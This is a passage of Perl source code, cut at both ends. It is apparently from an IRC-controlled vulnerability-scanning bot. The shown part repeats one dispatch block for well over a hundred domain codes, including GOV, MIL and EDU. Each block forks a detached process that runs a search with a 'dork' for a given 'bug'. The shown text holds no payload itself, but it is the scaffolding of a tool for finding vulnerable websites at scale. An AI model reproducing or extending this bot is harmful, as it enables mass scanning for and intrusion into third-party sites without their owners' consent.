if ($engine =~ /it/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IT",$type); } exit; } } if ($engine =~ /jp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JP",$type); } exit; } } if ($engine =~ /kr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KR",$type); } exit; } } if ($engine =~ /mx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MX",$type); } exit; } } if ($engine =~ /my/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MY",$type); } exit; } } if ($engine =~ /net/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NeT",$type); } exit; } } if ($engine =~ /nl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NL",$type); } exit; } } if ($engine =~ /org/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OrG",$type); } exit; } } if ($engine =~ /ph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PH",$type); } exit; } } if ($engine =~ /pl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PL",$type); } exit; } } if ($engine =~ /ro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RO",$type); } exit; } } if ($engine =~ /ru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RU",$type); } exit; } } if ($engine =~ /th/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TH",$type); } exit; } } if ($engine =~ /ua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UA",$type); } exit; } } if ($engine =~ /uk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UK",$type); } exit; } } if ($engine =~ /us/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"US",$type); } exit; } } if ($engine =~ /si/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SI",$type); } exit; } } if ($engine =~ /be/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BE",$type); } exit; } } if ($engine =~ /biz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BIZ",$type); } exit; } } if ($engine =~ /xxx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"XXX",$type); } exit; } } if ($engine =~ /tel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TEL",$type); } exit; } } if ($engine =~ /tv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TV",$type); } exit; } } if ($engine =~ /cc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CC",$type); } exit; } } if ($engine =~ /mil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MIL",$type); } exit; } } if ($engine =~ /asia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ASIA",$type); } exit; } } if ($engine =~ /name/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NAME",$type); } exit; } } if ($engine =~ /pro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PRO",$type); } exit; } } if ($engine =~ /travel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TRAVEL",$type); } exit; } } if ($engine =~ /cat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CAT",$type); } exit; } } if ($engine =~ /jobs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JOBS",$type); } exit; } } if ($engine =~ /mobi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MOBI",$type); } exit; } } if ($engine =~ /aero/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AERO",$type); } exit; } } if ($engine =~ /coop/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"COOP",$type); } exit; } } if ($engine =~ /edu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EDU",$type); } exit; } } if ($engine =~ /gov/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GOV",$type); } exit; } } if ($engine =~ /as/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AS",$type); } exit; } } if ($engine =~ /ai/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AI",$type); } exit; } } if ($engine =~ /ag/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AG",$type); } exit; } } if ($engine =~ /az/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AZ",$type); } exit; } } if ($engine =~ /bh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BH",$type); } exit; } } if ($engine =~ /bd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BD",$type); } exit; } } if ($engine =~ /bz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BZ",$type); } exit; } } if ($engine =~ /bo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BO",$type); } exit; } } if ($engine =~ /ba/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BA",$type); } exit; } } if ($engine =~ /bw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BW",$type); } exit; } } if ($engine =~ /vg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VG",$type); } exit; } } if ($engine =~ /bg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BG",$type); } exit; } } if ($engine =~ /bi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BI",$type); } exit; } } if ($engine =~ /co/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CO",$type); } exit; } } if ($engine =~ /cd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CD",$type); } exit; } } if ($engine =~ /cg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CG",$type); } exit; } } if ($engine =~ /ck/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CK",$type); } exit; } } if ($engine =~ /cr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CR",$type); } exit; } } if ($engine =~ /hr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HR",$type); } exit; } } if ($engine =~ /cu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CU",$type); } exit; } } if ($engine =~ /ci/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CI",$type); } exit; } } if ($engine =~ /dj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DJ",$type); } exit; } } if ($engine =~ /dm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DM",$type); } exit; } } if ($engine =~ /do/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DO",$type); } exit; } } if ($engine =~ /ec/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EC",$type); } exit; } } if ($engine =~ /eg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EG",$type); } exit; } } if ($engine =~ /sv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SV",$type); } exit; } } if ($engine =~ /ee/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EE",$type); } exit; } } if ($engine =~ /et/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ET",$type); } exit; } } if ($engine =~ /fj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FJ",$type); } exit; } } if ($engine =~ /fi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FI",$type); } exit; } } if ($engine =~ /gm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GM",$type); } exit; } } if ($engine =~ /gi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GI",$type); } exit; } } if ($engine =~ /gr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GR",$type); } exit; } } if ($engine =~ /gl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GL",$type); } exit; } } if ($engine =~ /gt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GT",$type); } exit; } } if ($engine =~ /gg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GG",$type); } exit; } } if ($engine =~ /ht/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HT",$type); } exit; } } if ($engine =~ /hn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HN",$type); } exit; } } if ($engine =~ /hk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HK",$type); } exit; } } if ($engine =~ /is/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IS",$type); } exit; } } if ($engine =~ /ie/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IE",$type); } exit; } } if ($engine =~ /im/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IM",$type); } exit; } } if ($engine =~ /je/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JE",$type); } exit; } } if ($engine =~ /jo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JO",$type); } exit; } } if ($engine =~ /kz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KZ",$type); } exit; } } if ($engine =~ /ke/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KE",$type); } exit; } } if ($engine =~ /kg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KG",$type); } exit; } } if ($engine =~ /lv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LV",$type); } exit; } } if ($engine =~ /ls/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LS",$type); } exit; } } if ($engine =~ /ly/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LY",$type); } exit; } } if ($engine =~ /li/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LI",$type); } exit; } } if ($engine =~ /lt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LT",$type); } exit; } } if ($engine =~ /lu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LU",$type); } exit; } } if ($engine =~ /mw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MW",$type); } exit; } } if ($engine =~ /mt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MT",$type); } exit; } } if ($engine =~ /mu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MU",$type); } exit; } } if ($engine =~ /fm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FM",$type); } exit; } } if ($engine =~ /mn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MN",$type); } exit; } } if ($engine =~ /ms/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MS",$type); } exit; } } if ($engine =~ /ma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MA",$type); } exit; } } if ($engine =~ /na/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NA",$type); } exit; } } if ($engine =~ /np/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NP",$type); } exit; } } if ($engine =~ /nz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NZ",$type); } exit; } } if ($engine =~ /ni/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NI",$type); } exit; } } if ($engine =~ /nf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NF",$type); } exit; } } if ($engine =~ /no/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NO",$type); } exit; } } if ($engine =~ /om/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OM",$type); } exit; } } if ($engine =~ /pk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PK",$type); } exit; } } if ($engine =~ /pa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PA",$type); } exit; } } if ($engine =~ /py/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PY",$type); } exit; } } if ($engine =~ /pe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PE",$type); } exit; } } if ($engine =~ /pn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PN",$type); } exit; } } if ($engine =~ /pt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PT",$type); } exit; } } if ($engine =~ /pr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PR",$type); } exit; } } if ($engine =~ /qa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"QA",$type); } exit; } } if ($engine =~ /rw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RW",$type); } exit; } } if ($engine =~ /sh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SH",$type); } exit; } } if ($engine =~ /sm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SM",$type); } exit; } } if ($engine =~ /sa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SA",$type); } exit; } } if ($engine =~ /sn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SN",$type); } exit; } } if ($engine =~ /sc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SC",$type); } exit; } } if ($engine =~ /sg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SG",$type); } exit; } } if ($engine =~ /sk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SK",$type); } exit; } } if ($engine =~ /za/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ZA",$type); } exit; } } if ($engine =~ /lk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LK",$type); } exit; } } if ($engine =~ /vc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VC",$type); } exit; } } if ($engine =~ /se/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SE",$type); } exit; } } if ($engine =~ /ch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CH",$type); } exit; } } if ($engine =~ /tw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TW",$type); } exit; } } if ($engine =~ /tj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TJ",$type); } exit; } } if ($engine =~ /bs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BS",$type); } exit; } } if ($engine =~ /to/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TO",$type); } exit; } } if ($engine =~ /tt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TT",$type); } exit; } } if ($engine =~ /tr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TR",$type); } exit; } } if ($engine =~ /tm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TM",$type); } exit; } } if ($engine =~ /vi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VI",$type); } exit; } } if ($engine =~ /ug/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UG",$type); } exit; } } if ($engine =~ /uy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UY",$type); } exit; } } if ($engine =~ /uz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UZ",$type); } exit; } } if ($engine =~ /ve/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VE",$type); } exit; } } if ($engine =~ /vn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VN",$type); } exit; } } if ($engine =~ /zm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ZM",$type); } exit; } } if ($engine =~ /museum/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MUSEUM",$type); } exit; } } if ($engine =~ /ws/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WS",$type); } exit; } } if ($engine =~ /af/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AF",$type); } exit; } } if ($engine =~ /ax/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AX",$type); } exit; } } if ($engine =~ /al/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AL",$type); } exit; } } if ($engine =~ /dz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DZ",$type); } exit; } } if ($engine =~ /ao/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AO",$type); } exit; } } if ($engine =~ /aq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AQ",$type); } exit; } } if ($engine =~ /am/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AM",$type); } exit; } } if ($engine =~ /aw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AW",$type); } exit; } } if ($engine =~ /ac/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AC",$type); } exit; } } if ($engine =~ /bj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BJ",$type); } exit; } } if ($engine =~ /bm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BM",$type); } exit; } } if ($engine =~ /bt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BT",$type); } exit; } } if ($engine =~ /io/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IO",$type); } exit; } } if ($engine =~ /bn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BN",$type); } exit; } } if ($engine =~ /bf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BF",$type); } exit; } } if ($engine =~ /kh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KH",$type); } exit; } } if ($engine =~ /cm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CM",$type); } exit; } } if ($engine =~ /cv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CV",$type); } exit; } } if ($engine =~ /ky/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KY",$type); } exit; } } if ($engine =~ /cf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CF",$type); } exit; } } if ($engine =~ /cx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CX",$type); } exit; } } if ($engine =~ /cw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CW",$type); } exit; } } if ($engine =~ /cy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CY",$type); } exit; } } if ($engine =~ /fk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FK",$type); } exit; } } if ($engine =~ /fo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FO",$type); } exit; } } if ($engine =~ /gh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GH",$type); } exit; } } if ($engine =~ /gd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GD",$type); } exit; } } if ($engine =~ /gp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GP",$type); } exit; } } if ($engine =~ /gu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GU",$type); } exit; } } if ($engine =~ /gn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GN",$type); } exit; } } if ($engine =~ /gy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GY",$type); } exit; } } if ($engine =~ /hm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HM",$type); } exit; } } if ($engine =~ /iq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IQ",$type); } exit; } } if ($engine =~ /jm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JM",$type); } exit; } } if ($engine =~ /ki/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KI",$type); } exit; } } if ($engine =~ /kw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KW",$type); } exit; } } if ($engine =~ /la/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LA",$type); } exit; } } if ($engine =~ /lb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LB",$type); } exit; } } if ($engine =~ /lr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LR",$type); } exit; } } if ($engine =~ /mo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MO",$type); } exit; } } if ($engine =~ /mg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MG",$type); } exit; } } if ($engine =~ /mv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MV",$type); } exit; } } if ($engine =~ /mp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MP",$type); } exit; } } if ($engine =~ /mq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MQ",$type); } exit; } } if ($engine =~ /mr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MR",$type); } exit; } } if ($engine =~ /yt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YT",$type); } exit; } } if ($engine =~ /md/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MD",$type); } exit; } } if ($engine =~ /mc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MC",$type); } exit; } } if ($engine =~ /me/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ME",$type); } exit; } } if ($engine =~ /mz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { 